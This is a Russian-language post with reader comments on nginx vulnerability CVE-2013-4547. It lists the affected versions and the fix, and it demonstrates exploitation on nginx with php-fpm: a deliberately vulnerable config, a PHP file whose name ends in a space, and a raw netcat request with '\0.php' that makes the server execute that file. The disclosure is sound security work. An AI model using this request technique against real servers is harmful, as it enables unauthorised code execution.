Уязвимость в nginx — nginx security advisory (CVE-2013-4547)

    В nginx обнаружена (и уже исправлена) уязвимость.
    Подробности здесь: mailman.nginx.org/pipermail/nginx-ru/2013-November/052575.html

    Проблеме подвержены версии nginx 0.8.41 — 1.5.6.
    Проблема исправлена в nginx 1.5.7, 1.4.4.
    Для кастомных конфигураций доступен патч — nginx.org/download/patch.2013.space.txt

    Особенно интересна вот эта часть:
    а также возможность вызывать специальную обработку файла с пробелом на конце в конфигурации вида
    location ~ \.php$ {
    fastcgi_pass…
    }

    запросив файл как "/file \0.php".


    В популярной конфигурации nginx + php уязвимость может эксплуатироваться следующим образом:
    * Пользователь загружает на сервер файл с пробелом на конце
    * Специально составленным запросом этот файл исполняется.

    Применительно к nginx + php5-fpm должны соблюдаться следующие условия для эксплуатации уязвимости:
    1) fastcgi_param PATH_TRANSLATED должнен быть вида $document_root/$fastcgi_script_name, т.е. значение скрипта берется из реквеста
    2) в конфиге fpm pool значение ecurity.limit_extensions должно пропускать любые файлы. По-умолчанию она выставлена в .php .php3 .php4 .php5

    Пример эксплуатации:
           server {
    		listen		*:80;
    		server_name	example.com;
    
    		access_log	...;
    		error_log	...;
    
    		root /var/www/hot;
    		
    		location ~ \.php$ {
    			include /etc/nginx/fastcgi_params;
    			fastcgi_param PATH_TRANSLATED $document_root/$fastcgi_script_name;
    			fastcgi_param SCRIPT_FILENAME $document_root/$fastcgi_script_name;
    			fastcgi_pass  pass;
    		}
    
                    location /css/ { }
                    location /js/  { }
                    location /img/ { }
    
    	}
    
    



    cat "/var/www/hot/hole " 
    <?php 
    echo "I am hole";
    ?>
    
    



    И наконец сам запрос:

    echo -e "GET /hole \0.php HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc -w 1 example.com 80
    HTTP/1.1 200 OK
    Server: nginx/1.4.1
    Date: Tue, 19 Nov 2013 15:31:51 GMT
    Content-Type: text/html
    Transfer-Encoding: chunked
    Connection: keep-alive
    X-Powered-By: PHP/5.4.19-1~dotdeb.1
    
    9
    I am hole
    0
    
    

    Similar posts

    Ads
    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More

    Comments 32

      +5
      Cвежие пакеты с исправлением брать тут: nginx.org/ru/linux_packages.html
        –60
        Хорошая закладка от АНБ. Или суперкорявые руки разработчиков. На выбор.
          +37
          К сожалению, оценить корявость ваших рук не выходит — не обнаружил ссылки на ваш github-профиль.
            +5
            Это же тролль, не надо его кормить :)
              –3
              Степень корявости моих рук не затрагивает вопросы безопасности данных других пользователей.
              +4
              Достаточно редкая уязвимость, чтобы быть закладкой.
              +2
              Заплатка 18 строк. Кто короче?
                +1
                Но ведь суть патча в одной строке.
                  +20
                  А вам нужно на 30 растянуть?
                    0
                    Что бы новые появились :)))
                      +2
                      придётся добавить jQuery :-)
                      +3
                      уязвимость, мягко говоря, потенциальная…

                      php код в upload файлах научились фиксить ещё на заре phpbb, не говоря уже о trim, и других условиях сервера

                      да и сам браузер разве позволит залить файл с пробелом? это тебе не
                      echo "lala" > "here "
                        +2
                        (про браузер погорячился, можно же и консольный запрос отправить)
                          +2
                          Потенциальность тут скорее в другом: никто в здравом уме не называет файлы тем именем, которое передал пользователь. Работать с таким сложно и бессмысленно. Ну и даже если так, вроде бы при типовой конфигурации вида location /uploads/ префикс отрезать тоже не получится, а если в /uploads/ обрабатываются *.php — эта, с позволения, конфигурация была дырява уже давно.
                            +3
                            Вообще, если честно, мне пришлось поправить конфигурацию, чтобы эксплуатировать эту уязвимость.
                            Применительно к php5-fpm ИМХО ключевым является то, что в _дефолтной_ настройке файл с пробелом на конце просто не выполнится. Если админ эту настройку поменял, то он уже «сам себе злобная буратина».

                            К сожалению, у меня нет экспертизы в python, perl и других языках, исполняющихся как fcgi, но подозреваю, что там есть аналогичная настройка.

                            Далее, далеко не во всех конфигурациях PATH_TRANSLATED (SCRIPT_FILENAME) зависит от параметров реквеста. Например, на всех наших проектах точка входа одна на сервер, поэтому этот параметр задан константой.

                            В общем, уязвимость хоть и вполне реальная, но достаточно специфичная, поэтому массовых взломов скорее всего не будет.
                              0
                              К сожалению, у меня нет экспертизы в python, perl и других языках, исполняющихся как fcgi, но подозреваю, что там есть аналогичная настройка.
                              Там в принципе нет такой пробелемы, как нет и исполняемых файлов в document root веб-сервера.
                                +1
                                Все же, это от конфигурации зависит. У меня php-файлов в document root тоже нет. Другое дело, что шаред-хостинги и популярные cms приучили людей к плохому, и то, что в мире python исключение, в php, к сожалению, скорее правило.
                                  0
                                  Там в принципе нет такой пробелемы, как нет и исполняемых файлов в document root веб-сервера.

                                  Получается, здесь советуют неправильную конфигурацию wiki.nginx.org/DjangoFastCGI?
                                    0
                                    Нет, там все правильно. Статика — в /media, а исполнимые файлы — в /, вторая локация никак не сможет перекрыть первую.
                                      +1
                                      В принципе, мы пишем подобные конфиги.
                                      Например, вот мой любимый, за авторством klestoff

                                      	server {
                                      		fastcgi_next_upstream off;
                                      		listen		*:80;
                                      		server_name	example.com;
                                      
                                      		access_log	/var/log/nginx/example.com.access_log extended;
                                      		error_log	/var/log/nginx/example.com.error_log warn;
                                      
                                      		root /var/www/example.com/src/htdocs;
                                      		
                                      		location / {
                                      			access_log /var/log/nginx/example.fpm.access_log extended;
                                      			
                                      			include /etc/nginx/fastcgi_params;
                                      			fastcgi_param PATH_TRANSLATED /var/www/example.com/src/htdocs/index.php;
                                      			fastcgi_param SCRIPT_FILENAME /var/www/example.com/src/htdocs/index.php;
                                      			fastcgi_pass  cbs5;
                                      		}
                                      
                                                      location /css/ { }
                                                      location /js/  { }
                                                      location /img/ { }
                                      	}
                                      

                                        0
                                        а /uploads добавляется подобным же образом, верно?
                                          +1
                                          Ну так же как /css/. Эта локация является «более частной» в сравнении с /, поэтому конфигурация унаследуется с уровня server.
                                          +1
                                          PATH_TRANSLATED при наличии SCRIPT_FILENAME не нужен: если SCRIPT_FILENAME присутствует, PATH_TRANSLATED игнорируется.

                                          И уж совсем не в тему, но все же — еще советую в конфигурации PHP ставить cgi.fix_pathinfo=0, иначе (при дефолтном 1) там выполняется жуткий код, унаследованный от старого CGI sapi, написанный для совместимости с древними кривыми серверами, который может запросто с десяток stat()-ов дернуть на каждый вызов.
                                        +2
                                        В отличии от php, на fastcgi_pass слушает само приложение — настоящий честный FastCGI демон, а не запускатель .py файлов на каждый запрос. Этот демон, за редким исключением, не интерпретирует и не умеет интерпретировать произвольного кода, произвольных .py файлов по запросу.

                                        У php же это болезнь доставшаяся ему исторически. Исторически .php — шаблонизатор, и им остается по сей день. Полноценный FastCGI (не в смысле протокола, а в смысле идеологии) на нем можно получить только используя не сильно популярные штуки, вроде phpdaemon и подобных.
                                          0
                                          fastcgi_param SCRIPT_FILENAME /path/to/application/main.php — и получаем примерно то же самое на PHP.

                                          Да, fastcgi accept-цикл находится внутри FPM SAPI, и приложение заново инициализируется на каждый запрос, но это нельзя назвать однозначным недостатком или преимуществом.
                              0
                              Будет ли фикс добавлен в выложенные архивы версий 1.2-1.4?
                                +3
                                в какие архивы? на сайте можно скачать 1.4.4, в тот же squeeze обновление уже пришло
                                +1
                                запросив файл как "/file \0.php".

                                Извините, я чего-то не понимаю.

                                Это же пробел не на конце, а перед точкой. Конец имени — это после второй буквы p.

                                Соответственно, glob *.php — срабатывает для этого файла, \.php$ — срабатывает. В чём проблема-то? В том, что если загрузить файл php, то будут проблемы? Ну так не давайте загружать файлы php.

                                И второе. Как вообще в линуксе можно получить файл с именем, содержащим \0 в середине имени? Этот символ в именах файлов же не допускается.
                                  +3
                                  Почитайте примеры внимательно.
                                  В GET вы передаете "/hole \0.php", регулярка, задающая локацию для fcgi срабатывает, и $script_filename принимает значение "hole "
                                  \0 в имени файла не нужна.

                                  В чём проблема-то? В том, что если загрузить файл php, то будут проблемы?

                                  Проблема в том, что злоумышленник _потенциально_ может исполнить любой файл с пробелом на конце как скрипт.
                                    +3
                                    А, спасибо. Дошло.
                                      +1
                                      Как раз $fastcgi_script_name принимает честное значение, с \0. Проблема возникает в тот момент, когда php-fpm запихивает это в системный вызов open(), который, как и большинство ему подобных, работает с null-терминированными строками.
                                    0
                                    Вообще, если посмотреть на проблему массовых взломов, то перед злоумышленниками встаёт 3 проблемы:

                                    1) Обойти функцию trim() в CMS.
                                    2) Обойти resize картинки в случае загрузки исполняемого кода как изображения.
                                    3) Обойти переименовывание файлов после аплоадинга.

                                    Если 2 и 3 пункт ещё могут как-то решиться, например, этим способом, и нахождением CMS, где загруженные файлы не переименовываются. То обход первого пункта — наиболее трудный.

                                    А в совокупности все 3 проблемы очень сильно ограничивают злоумышленников в своих массовых взломах. Так что по сути, бояться сильно то и нечего.

                                    Only users with full accounts can post comments. Log in, please.